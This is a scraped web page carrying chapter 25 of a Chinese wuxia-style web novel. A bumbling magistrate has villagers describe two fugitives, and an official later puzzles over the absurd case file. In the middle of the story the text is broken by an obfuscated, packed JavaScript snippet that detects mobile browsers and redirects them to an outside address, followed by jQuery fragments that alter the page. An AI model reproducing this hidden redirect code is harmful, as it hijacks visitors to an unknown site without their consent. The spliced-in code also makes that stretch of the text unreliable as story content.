默认冷灰
24号文字
方正启体

25. 疑案

作者:四边鹿本书字数:K更新时间:
    “荒唐!”方知县一拍惊堂木,“这是多恶劣的案子,你们这群蠢货,还在自以为是地取笑玩乐!”


    “蠢货们”被骂得不吭声了,少数人却翻涌起前所未有的清醒,心说这也不比山匪白天进城还要荒唐啊。


    方尚远站起来,拉磨一样转了几圈,愁眉苦脸,像头腿脚不好的老驴。


    呀!干就干了,怎么还整得“冤有头债有主”呢,这么高调,这可怎么办?


    “来人,速速把纸笔拿出来,让他们将逃犯喻溪的模样细细说一遍,画出来,以供朝廷缉拿!”


    虽然大家都翻了个白眼,一点不乐意,但迫于青天在上,只好不情不愿地围在画师身边,说起主犯喻溪以及从犯拥竹的面貌。


    “她很苗条,轻盈得很,走路像花上的蝴蝶。”好心的大娘一边拍着胸口,一边颤颤巍巍地说。


    画师画了个尖尖的脸后,慎重地将“苗条”交给衣服。


    “眉似远黛,发如乌木……五官要画俏一点!”专写地摊话本的东街穷书生瞪大眼睛,说。


    “……”


    “发式?没有,经常高高梳成一条马尾,垂在脑后,精神得很……哦,倒是偶尔会扎几条小辫子。”


    “……”


    说着说着,众父老乡亲,七大姑八大姨逐渐不受控制,七嘴八舌去来。


    “很水灵的姑娘。”


    “成天笑。”


    “模样很干净利索的。”


    在画师的毅力下,终于画成了大家都满意的画,都说模样有七八分像,神态更是一比一,可老爷们拿过来一看,眉头一皱。


    好看是好看,可怎么感觉不对啊?


    好眼熟,总感觉在哪里见过呢。


    同样呈上去的还有“拥竹”的画像,方尚远瞥了眼画中矜持端正的年轻人,再看一眼名儿,嘴角顿时一撇,心中只余四个字:不知所谓。


    呵,一个破客栈算账,指不定是哪里的流氓,还拥上竹了,咋不叫吃肉呢。


    当下便断案为装的,加之他不是主犯,方知县便不感兴趣地搁置一边,对着喻溪的画摸着下巴,似乎这样能方便他寻到自己的大脑。


    师爷也在旁边深思,片刻之后,忽然眉头一展,神态豁然开朗,语气糊糊涂涂:“您还记得‘前燕风月录’吗?”


    方尚远迅速接口:“是很多美女的那本……咳,是讲述江湖儿女情长的那本么,自然记得。”


    不怪知县大人只记得美人了,前燕风月录已成书一十六年,再经典,也不可能一连翻十六年不是?


    写成之时,仲卿云还没带着江湖第一美人的名号入坟茔,正在彼时的江湖和后世的书卷中美得肆无忌惮,执鞭走天下,顺便调戏美男。


    前燕风月录自然如其名,“风月”二字道尽内容,“前燕”则是时间……当然它不是一个具体时间,而是出自大裕皇帝景华宴的“宴”,因避讳改成了燕,其实就是景华宴登基前约摸十来年的一些江湖花花趣闻,包括但不限于各种美男美女榜、谁和谁喜结连理、谁谁谁的风流韵事又被发现了。


    它大约真实性更高一些,由诸位知名的“百知百会”所作,图画也更精细,除此之外,完全就是一本逸事话本。


    方尚远回忆一下悠久的画面,脑海依然只被那些美人们充盈,只好虚心求教:“不过内容太多,具体是哪一部分呢?”


    师爷:“这画得……您不觉得如同那些美人图一样吗?”


    大人若有所思:“原来那些美人也是这样编上去的吗?”


    “……可能也是,”师爷压低声音:“但要不您再想想?”


    大人又想了想,恍然大悟:“说明这逃走的女子也有那么美!”


    “大人!说明他们在糊弄你啊!!”师爷终于没忍住,拔高了声音:“我前日恰好翻看一遍前燕风月,我敢担保,这群刁民恐怕就是照着自己的臆想和仲卿云的旧像,来为喻匪捏造容貌,以此掩护她!”


    方尚远脸色一变,一拍惊堂木:“果真吗?”


    客栈掌柜章存头一个出来:“不能不能,没有没有,大人明察秋毫,小人们哪里敢糊弄大人您呢。”


    方尚远开始狐疑:“你也敢担保吗?”


    章掌柜深吸一口气,吐出来一个微笑。虽然这十几年除了税事,章存基本没怎么接触过穰东县衙,但方才三番五次的来往中,要是还洞察不出这二货狗官的草包,章存甘愿回乡耕田。


    只见章掌柜举起三根手指,说:“我敢发誓。”


    居然发了誓,方尚远一琢磨,真信了:“既然如此,姑且信你一次……师爷,你怎么看呢?”


    师爷也微笑起来,不怎么想用眼睛看:“那大人信就信吧,反正在下只是说一说一种可能,不如章掌柜一般有勇气。”


    方尚远:“既如此,那就把这二人的画像抄送上报,缉拿他们?”


    穰东百姓有些紧张,有的甚至伸长脖子,想再看一眼是不是真画得像了,万一就是它害了喻姑娘呢?只听师爷说:“慢。”


    “又怎么?”


    “在下认为,即使有了画像也不够。须知,这些江湖恶匪最爱做的就是改头换面,而我们不但不知他们底细,甚至不知道其动机,该怎么朝上头交代?又该怎么在茫茫人海中锁定这两只蝼蚁?”


    人精掌柜霍然抬头。


    不知是不是他的错觉,这位不知姓名的师爷一点不想糊涂了事。但说他负责,又不太对劲——楚乌山真土匪还在地上装死呢!


    师爷好像对喻溪有一种微妙的……在意?跑堂数年的章掌柜也说不出,只是一种莫名的直觉,绝非善意,也不像恶意。


    可他同时又笃定师爷的的确确不认识喻溪。


    真是奇怪了。


    方尚远一想,也对,连忙说:“那再审得详细点!”


    众人其中不乏挑夫商贩与农人,都叫苦不迭,都赶不上回去干活了!然而县官才不予理会,依然坚持要他们罗列出令人信服的东西。


    什么是能令人深信不疑的呢?似乎没有,毕竟众心比众口还难调,连“方尚远是个难得一见的蠢货”都不能达成共识,方尚远就认为他挺聪明的。


    “这是什么意思?”朝廷委以重任的衔才榜探花,何郑大人拿到“穰东大案”的卷宗后,一脸问号,简直莫名其妙。


    “穰东知县这是让我看看他们县的生意?”


    “或许是穰东会商的太少,特意让大人您帮忙参详呢。”副官开了个玩笑。


    何郑凝视他。“你觉得我会?”


    “不……”副官改口:“您当然会,但是这种破地方的生意可用不着您操心,诸如穰东,只要会叫就能管理好。就是牵一条狗去……


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274988|198196||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ”


    何大人一抬手,打断了他:“不必抒己见,我现在不想听。我只想知道,就死一个人叫什么大案,是谁特意捡过来的?”


    自此被两个蟊贼戏耍一通后,何郑一天到晚都很暴躁,茶不喝,玩笑不开,对军中领的闲差也漠不关心,成日只想着要揪出贼人口中透露的“内贼”。


    不曾吃过亏的武探花只想一雪前耻,不耐多管闲事。


    副官正色:“都是按流程送来的。既然送到大人案头,就说明有道理,您瞧,”他俯下身,亲自翻与上司看:“就是这一男一女,据说都身手不凡,样貌极佳。”


    何郑缓缓坐直了。


    他拿了过来,眯起眼睛:“喻溪、拥竹?拥竹?”有点耳熟,好像不经意间听谁提过一次,但只限于耳熟了,也没准只是一句诗词典故。


    他继续往下看。


    “一个性情活泼,一个沉稳……嘶,这是哪个人才让写上去的?以为在写话本吗?”


    只见命案卷宗上,洋洋洒洒通篇是对凶手的溢美之词,要不是刚好关心两个凶犯,何大人都想差人去穰东教知县大人学写字。


    他死死盯着画像,两颊绷紧了,已经有八成把握,认定两个蟊贼就是这个拥竹和喻溪,因此用尽耐心,把眼睛按在纸上,快速扫视,试图从一堆胡言乱语中找到线头。


    “客栈生意蒸蒸日上……怀疑会神通?什么玩意儿。姑娘提过问己剑,疑似问己剑传人?开什么玩笑呢。”何郑嘀咕,晕头涨脑之际,终于看到有一点用的:“数次提到长生……两次提过长生教?”


    “是,您说,所谓内贼,出处会不会就是长生教?”副官压低声音。


    何郑皱起眉头,半响后,道:“有道理,但没理,长生教如今要风得风,要雨得雨,车架甚至能直驱入宫城,半夜偷偷跑两个人是什么意思?”


    “您……”


    “也没道,圣上不会让我们查的。”何郑说道,“我看看身份……客栈伙计?账房?第一美人???”


    副官淡定地一翻页,指向一处:“第一美人是这样来的。”


    嘴碎的卷宗还原了一切,原来,穰东那边还在纠结二人样貌的真实时,有人这样打包票,认为喻姑娘毫无争议,可以说是穰东第一美人,便又有人提议不如说是十里八乡第一美人,渐渐的京南第一美人、北方第一美人相继加入讨论……最后大家提议,不如干脆就叫第一美人好了。


    何郑啼笑皆非,一边翻页,心说这样传出去,别到时传成江湖第一美人杀人潜逃了。仲卿云去世十五年,再让她遭一劫就不美了。


    但心情也有些微妙,这些杂乱无章、荒唐如儿戏的东西,像是谁故意呈上来似的——方尚远这种官场老油条,何郑大致听过的,怎么会糊涂到连话都说不明白?


    那么,是谁想借此告诉他什么?是为了隐藏信息,还是那人也没搞清楚该说什么?


    这样想着,他不置可否,把案宗叠好,塞到所有文书最下面。


    “走吧,我这种粗人可断不明白疑案。还是各司其职吧,大理寺难道少领着皇饷么?你也按流程,该送给谁就给谁。”


    何郑起身,漫不经心地掸了掸袖子上的尘埃。


    副官心领神会,立刻应是。


    明白,先立好牌坊,再暗地里……文雅一点讲,就是委曲求全。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)